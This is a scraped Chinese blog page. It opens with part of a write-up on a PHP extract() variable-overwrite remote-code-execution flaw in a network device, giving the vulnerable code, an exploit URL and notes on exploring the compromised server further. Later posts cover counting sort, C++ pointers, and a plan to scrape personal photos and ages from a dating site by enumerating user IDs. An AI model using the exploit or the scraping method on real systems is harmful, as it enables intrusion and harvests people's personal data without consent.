<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 显示表单</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> array $params 请求参数</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $show_form = <span class="function"><span class="keyword">function</span><span class="params">($params)</span> <span class="title">use</span><span class="params">(&$strip_slashes, &$show_input)</span> </span>{ <span class="comment">// function use表示使用了匿名函数,从外部传入了自己定义的strip_slashes函数变量</span></span><br><span class="line"> extract($params); <span class="comment">// 这里传入了向url提交的数组,参数没有做处理</span></span><br><span class="line"> $host = <span class="keyword">isset</span>($host) ? $strip_slashes($host) : <span class="string">"127.0.0.1"</span>; <span class="comment">// 通过get参数传入了strip_slahes和host、path、row、limit都能覆盖掉</span></span><br><span class="line"> $path = <span class="keyword">isset</span>($path) ? $strip_slashes($path) : <span class="string">""</span>;</span><br><span class="line"> $row = <span class="keyword">isset</span>($row) ? $strip_slashes($row) : <span class="string">""</span>;</span><br><span class="line"> $limit = <span class="keyword">isset</span>($limit) ? $strip_slashes($limit) : <span class="number">1000</span>;</span><br></pre></td></tr></table></figure>
<p>php中extract会将传入的数组中的key作为变量名,value作为变量值导入到当前的符号表中。当某个变量已经存在时,可以通过设置第二个参数flag可以妥当处理。<br>但这里开发者没有考虑。使得自己定义的函数变量strip_slashes被get方法修改为system,然后修改传入的变量host值为系统命令即可任意RCE<br>extract的危害还是具体看实现,比如这里第一个关键点是<strong>传入extract的数组是受用户控制、没有过滤的、允许覆盖同名变量的</strong>,<br>然后这个<strong>变量刚好被作为函数使用</strong>,最后又<strong>直接将执行结果echo出来</strong>,这样才是完整的利用链</p>
<h1 id="0x06-修复"><a href="#0x06-修复" class="headerlink" title="0x06 修复"></a>0x06 修复</h1><p>设置extract的flag参数防止变量值被修改</p>
<h1 id="0x07-后续"><a href="#0x07-后续" class="headerlink" title="0x07 后续"></a>0x07 后续</h1><p>难得接触某服的设备,既然来了就要多逛逛,也许还能扩大一下战果</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(1)看看是否还有别的文件存在变量覆盖漏洞</span><br><span class="line">(2)看看服务器日志,看一下别的入侵者都做了些什么</span><br><span class="line">https://XXX:xx/xxxx/xxx/c.php?strip_slashes=system&host=grep extract *.php</span><br></pre></td></tr></table></figure>
<h1 id="0x08-总结"><a href="#0x08-总结" class="headerlink" title="0x08 总结"></a>0x08 总结</h1><p>除了extract,php变量覆盖还有别的方法,由于是变量覆盖,因此是否能利用和造成的危害还是要具体情况具体分析。<br>一切用户输入都是不可预测的,凡是输入都要过滤处理,应该对参数中的system、phpinfo等敏感函数进行过滤</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2020/03/04/counting-sort/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2020/03/04/counting-sort/" class="post-title-link" itemprop="url">计数排序</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2020-03-04 20:08:40 / Modified: 22:44:24" itemprop="dateCreated datePublished" datetime="2020-03-04T20:08:40+08:00">2020-03-04</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/" itemprop="url" rel="index"><span itemprop="name">数据结构</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="计数排序"><a href="#计数排序" class="headerlink" title="计数排序"></a>计数排序</h1><h2 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h2><p>简化版的桶排序,通过一个辅助数组,数组下标作为可能的值,将待排序序列中的值统计出现次数,计数值放入相应下标的数组中,即辅助数组中是<em>排序数->出现次数</em>的关系,这样其实就完成了排序。</p>
<h2 id="核心思想(排序思想)"><a href="#核心思想(排序思想)" class="headerlink" title="核心思想(排序思想)"></a>核心思想(排序思想)</h2><p>统计待比较序列中比其他值大或者小的值的数量,以空间换时间</p>
<h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>该排序其实假定了序列的所有可能数值,因此需要确定待排序序列的大小范围。这样所需数组的长度就由最大<br>和最小值来决定(和最小值有关是考虑了有负数的情况),可以看出,该排序适用于排序数在数轴上均匀分布的情况。</p>
<h2 id="复杂度分析"><a href="#复杂度分析" class="headerlink" title="复杂度分析"></a>复杂度分析</h2><p>时间复杂度:O(n+K)<br>空间复杂度:O(n+K)<br>其中n为待排序序列的长度,K为序列的最大值</p>
<p>n是因为要遍历一次待排序序列,为啥和K有关?因为在统计结束后,获得的数组是包括不存在的值的,需要再遍历一次将不存在的值舍弃。<br>至于空间复杂度+k,是因为辅助计数的数组长度为K</p>
<h2 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h2><p>刚看就感觉是很妙的一个想法,通过一个数组的下标假设所有可能的值,其实就是假设了一个已经排序好的序列,只要统计这些数值是否都存在就行了,这样就将繁琐的比较巧妙的转化为统计。关于该排序的核心思想,我一开始是没有看懂的,不知道所谓的“统计较大或者较小的值的数量”是什么意思,几乎所有讲计数排序地方都是这么描述的。思考一下可以发现“假设一个已经排序好的序列,统计这些值是否存在和其出现次数”,排序的时候其实就是统计比每个数大或者小的值来排序,<strong>因为对每个数来说,在最终排序好的序列中的位置序号其实就是比该值大或者小的值的数量</strong><br>如对于以下已统计的数组来说,如数值3,比3小的值一共有1+2=3个,因此3在最终排序序列中的位置就是第四。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1 0 2 1 0 1</span><br><span class="line">0 1 2 3 4 5</span><br></pre></td></tr></table></figure>
<p>这么想来,这句话作为核心思想感觉并不准确,准确来这是“排序的核心思想”。</p>
<h2 id="实现-渣代码"><a href="#实现-渣代码" class="headerlink" title="实现(渣代码)"></a>实现(渣代码)</h2><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> unsort_len 10</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> max 23</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> min -9</span></span><br><span class="line"><span class="keyword">int</span> sort[<span class="built_in">max</span>+<span class="number">1</span>];</span><br><span class="line"><span class="keyword">int</span> sort_negative[-<span class="built_in">min</span> + <span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> unsort[unsort_len] = { <span class="built_in">max</span>, <span class="number">5</span>, <span class="number">1</span>, <span class="number">-7</span>, <span class="number">8</span>, <span class="built_in">min</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">-3</span> ,<span class="number">7</span>};</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">max</span> >= <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="built_in">max</span> + <span class="number">1</span>; i++)</span><br><span class="line"> sort[i] = <span class="number">0</span>; <span class="comment">// 比较数组需要初始化为0,即刚开始所有数都是0个</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">min</span> < <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="built_in">abs</span>(<span class="built_in">min</span>) + <span class="number">1</span>; i++)</span><br><span class="line"> sort_negative[i] = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < unsort_len; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d "</span>, unsort[i]);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < unsort_len; i++) <span class="comment">// 核心代码</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (unsort[i] >= <span class="number">0</span>)</span><br><span class="line"> sort[unsort[i]]++;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> sort_negative[-unsort[i]]++;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">min</span> < <span class="number">0</span>){</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="built_in">abs</span>(<span class="built_in">min</span>); i > <span class="number">0</span>; i--)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j < sort_negative[i]; j++) <span class="comment">// 相同大小的值重复打印 </span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d "</span>, -i);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">max</span> >=<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="built_in">max</span>+<span class="number">1</span>; i++)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j < sort[i]; j++) <span class="comment">// 相同大小的值重复打印</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (sort[i] == <span class="number">0</span>) <span class="comment">// 这是偷懒的写法,此时并未获得完全的已排序数组,还需要遍历一次将不存在的值舍弃</span></span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d "</span>, i); </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2019/12/19/%E7%99%BE%E5%90%88%E7%BD%91-spider/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2019/12/19/%E7%99%BE%E5%90%88%E7%BD%91-spider/" class="post-title-link" itemprop="url">百合网图片爬虫</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-12-19 16:14:40" itemprop="dateCreated datePublished" datetime="2019-12-19T16:14:40+08:00">2019-12-19</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2020-11-03 23:20:17" itemprop="dateModified" datetime="2020-11-03T23:20:17+08:00">2020-11-03</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%9B%BE%E7%89%87%E7%88%AC%E8%99%AB/" itemprop="url" rel="index"><span itemprop="name">图片爬虫</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h1><ul>
<li>收集年龄性别图片数据,婚恋网站就很不错,先拿百合网试试。</li>
</ul>
<h1 id="方案"><a href="#方案" class="headerlink" title="方案"></a>方案</h1><ul>
<li>访问主页,发现需要登陆,个人信息当然不能随便就这么交出去。随便找个云短信平台拿手机号注册一下,账号已注册的话就找回密码好了。登陆进去话不多说直奔搜索,点开就是一堆美好的皮囊,下拉发现是动态加载的页面,很烦,不想用selenium。总之先抓包看看,照例先选筛选xhr,发现一个getuserlist接口,后边跟着一堆userid。那就可以尝试一下。可以,返回一个json,json里该有的都有。注意到我需要获取的是尽可能多的图片以及对应的年龄性别。json里的年龄自然是当前年龄,而我需要的是图片年龄,假设用户上传的是近期照,那么还需要上传日期,观察一下发现用户照片url里含有图片上传日期。这样就能计算图片年龄了。用户id是纯数字,意味着我可以通过直接遍历userid来遍历所有用户。</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2019/12/19/%E7%8F%8D%E7%88%B1%E7%BD%91-spider/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2019/12/19/%E7%8F%8D%E7%88%B1%E7%BD%91-spider/" class="post-title-link" itemprop="url">珍爱网图片爬虫</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-12-19 16:14:26 / Modified: 17:43:36" itemprop="dateCreated datePublished" datetime="2019-12-19T16:14:26+08:00">2019-12-19</time>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2019/12/18/basic%20c++/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2019/12/18/basic%20c++/" class="post-title-link" itemprop="url">C++基础</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-12-18 14:16:38" itemprop="dateCreated datePublished" datetime="2019-12-18T14:16:38+08:00">2019-12-18</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2020-03-19 10:28:27" itemprop="dateModified" datetime="2020-03-19T10:28:27+08:00">2020-03-19</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/C-basic/" itemprop="url" rel="index"><span itemprop="name">C++ basic</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="基础概念"><a href="#基础概念" class="headerlink" title="基础概念"></a>基础概念</h1><h2 id="数据的排布方式-大端模式和小端模式"><a href="#数据的排布方式-大端模式和小端模式" class="headerlink" title="数据的排布方式-大端模式和小端模式"></a>数据的排布方式-大端模式和小端模式</h2><ul>
<li>根据数据在内存中排布顺序不同,数据的排布可以分为大端模式和小端模式,大小端和芯片和编译平台有关,c中一般是小端,java中一般是大端,而网络传输数据一般是大端模式。</li>
<li>大端模式: 数据的高位存放在低地址,数据的低位存放在高地址</li>
<li>小端模式:数据的高位存放在高地址,数据的地位存放在低地址</li>
<li>数字型数据如int a = 1234,左边为数据的高位,右边为数据的低位</li>
<li>字符型数据如 char * a = “abcd”,左边为数据的低位,右边为数据的高位</li>
</ul>
<h2 id="指针"><a href="#指针" class="headerlink" title="指针"></a>指针</h2><h3 id="指针的含义和大小"><a href="#指针的含义和大小" class="headerlink" title="指针的含义和大小"></a>指针的含义和大小</h3><ul>
<li><p>64位系统中,1 word = 8 byte。32位系统中,1 word = 4 byte。其中 1 byte = 8 bit,64=8*8,32=4*8,即系统的位数其实就是系统中一个字所占的bit数</p>
</li>
<li><p><strong>指针就是一个地址</strong>,指针的大小和cpu、操作系统位数、编译器有关、因为系统是向下兼容的,所以取这些变量里最小的值作为指针的大小。指针的大小通常为4byte或者8byte。<strong>指针的大小和指针指向的类型无关</strong></p>
</li>
</ul>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> * a;</span><br><span class="line"><span class="keyword">int</span> * b;</span><br><span class="line"><span class="keyword">char</span> *c;</span><br><span class="line">short *d;</span><br><span class="line"><span class="keyword">long</span> *e;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d\n"</span>, <span class="keyword">sizeof</span>(a));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d %d\n"</span>, <span class="keyword">sizeof</span>(b), <span class="keyword">sizeof</span>(*b));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d %d\n"</span>, <span class="keyword">sizeof</span>(c), <span class="keyword">sizeof</span>(*c));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d %d\n"</span>, <span class="keyword">sizeof</span>(d), <span class="keyword">sizeof</span>(*d));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d %d\n"</span>, <span class="keyword">sizeof</span>(e), <span class="keyword">sizeof</span>(*e));</span><br></pre></td></tr></table></figure>
<p>运行结果:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">4 </span><br><span class="line">4 4</span><br><span class="line">4 1</span><br><span class="line">4 2</span><br><span class="line">4 4</span><br></pre></td></tr></table></figure>
<ul>
<li>之所以要给指针指定类型,是因为不同类型的变量大小不同,指定类型后在通过该指针取值时,才知道取该地址的值后的一个1个byte还是2个byte还是多少byte。注意到void * a是没有类型的,因此不能取其指向值的大小,因为系统也不知道它指向值的大小。void * 通常用于传入别的指针,操作系统通过变量的起始地址和该变量的大小来取值,这是底层的基本思想。</li>
</ul>
<h3 id="指针的加减"><a href="#指针的加减" class="headerlink" title="指针的加减"></a>指针的加减</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> b=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">char</span> c=<span class="string">'a'</span>;</span><br><span class="line">short d = <span class="number">1</span>;</span><br><span class="line"><span class="keyword">long</span> e = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%p %p\n"</span>, &b, &b+<span class="number">1</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%p %p\n"</span>, &c, &c+<span class="number">1</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%p %p\n"</span>, &d, &d+<span class="number">1</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%p %p\n"</span>, &e, &e+<span class="number">1</span>);</span><br></pre></td></tr></table></figure>
<p>运行结果:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0113FED0 0113FED4</span><br><span class="line">0113FEC7 0113FEC8</span><br><span class="line">0113FEB8 0113FEBA</span><br><span class="line">0113FEAC 0113FEB0</span><br></pre></td></tr></table></figure>
<ul>
<li><p>指针与整数加减:可以看到不同类型的指针+1所增加的字节是不同的,指针的加减和其指向的类型相关,加减都是根据其大小作为基本的运算单位来计算的。如对int * 来说+1会使其增加4byte,对char * 来说+1会使其增加1byte,和上面相同,void * 不支持加减运算,因为其指向的大小未知。</p>
</li>
<li><p>指针之间加减:不同类型的指针不能加减。相同类型的指针不能相加,因为没有意义,因此编译时一般会报错。相同类型的指针相减结果是两个地址之间该类型的元素个数,如p1-p2=p1-p2/sizeof(int)</p>
</li>
</ul>
<h2 id="数组、字符串、字符数组和指针数组"><a href="#数组、字符串、字符数组和指针数组" class="headerlink" title="数组、字符串、字符数组和指针数组"></a>数组、字符串、字符数组和指针数组</h2><h3 id="关于格式化输出函数printf"><a href="#关于格式化输出函数printf" class="headerlink" title="关于格式化输出函数printf"></a>关于格式化输出函数printf</h3><ul>
<li>printf的输入输出和其标志符相关,为了更好的理解指针、字符串和数组,需要理解这个函数</li>
</ul>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">char *a='aaaa';</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s\n"</span>, a); <span class="comment">// %s会将输入值作为指针处理,即会取输入值指向的值,读取遇到\0字符时结束</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, a); <span class="comment">// %c会打印输入值的字符形式,长度是1byte</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, *a); </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d\n"</span>, a); <span class="comment">// %d会打印输入值的十进制,长度是4byte</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%x\n"</span>, a); <span class="comment">//%x会打印输入值的十六进制,长度是4byte</span></span><br></pre></td></tr></table></figure>
<p>输出结果:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">aaaa </span><br><span class="line">0 // 这里输入值是a,即地址,该地址的值可以看到是0x00196b30,由于我是小端,即内存中低地址指向的值是低位0x30,0x30的字符形式就是‘0’</span><br><span class="line">a </span><br><span class="line">1665840</span><br><span class="line">196b30</span><br></pre></td></tr></table></figure>
<h3 id="数组和字符串"><a href="#数组和字符串" class="headerlink" title="数组和字符串"></a>数组和字符串</h3><ul>
<li>C\C++中通过指针来表示字符串和数组,这个也很好理解,数组就是一段连续的地址,只需给定一个起始地址和其大小,便能通过一段连续的空间来存放字符串和数组。其中字符串和字符数组其实是一个东西,唯一的区别是字符串以空字符\0来结束,这也很好理解,因为字符数组的大小是已知的,但char * 来表示字符串时并没有规定大小,只有起始地址,因此需要一个结束字符。</li>
</ul>
<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> *a = <span class="string">"abcd"</span>; <span class="comment">//字符串</span></span><br><span class="line"><span class="keyword">char</span> b[] = { <span class="string">'a'</span>, <span class="string">'a'</span>, <span class="string">'a'</span>, <span class="string">'a'</span> }; <span class="comment">//字符数组</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s\n"</span>, a); </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s\n"</span>, a+<span class="number">1</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s\n"</span>, a+<span class="number">2</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s\n"</span>, a+<span class="number">3</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"---------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, *(a+<span class="number">4</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d\n"</span>, *(a+<span class="number">4</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%x\n"</span>, *(a+<span class="number">4</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"---------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, *b);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, *(b+<span class="number">1</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, *(b+<span class="number">2</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, *(b+<span class="number">3</span>));</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"---------------\n"</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, b[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, b[<span class="number">1</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, b[<span class="number">2</span>]);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%c\n"</span>, b[<span class="number">3</span>])</span><br></pre></td></tr></table></figure>
<p>输出结果:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">abcd </span><br><span class="line">bcd // 可以发现%s会将输入值作为指针处理,并且遇到\0结束,\0是不可打印字符</span><br><span class="line">cd</span><br><span class="line">d</span><br><span class="line">---------------</span><br><span class="line"> // 不可打印字符\0</span><br><span class="line">0 // \0的十进制值是0</span><br><span class="line">0 // \0的十六进制是0x00</span><br><span class="line">---------------</span><br><span class="line">a //字符数组可以通过数组形式 b[i]来取值,也可以像字符串一样通过指针取值*(b+i)</span><br><span class="line">a</span><br><span class="line">a</span><br><span class="line">a</span><br><span 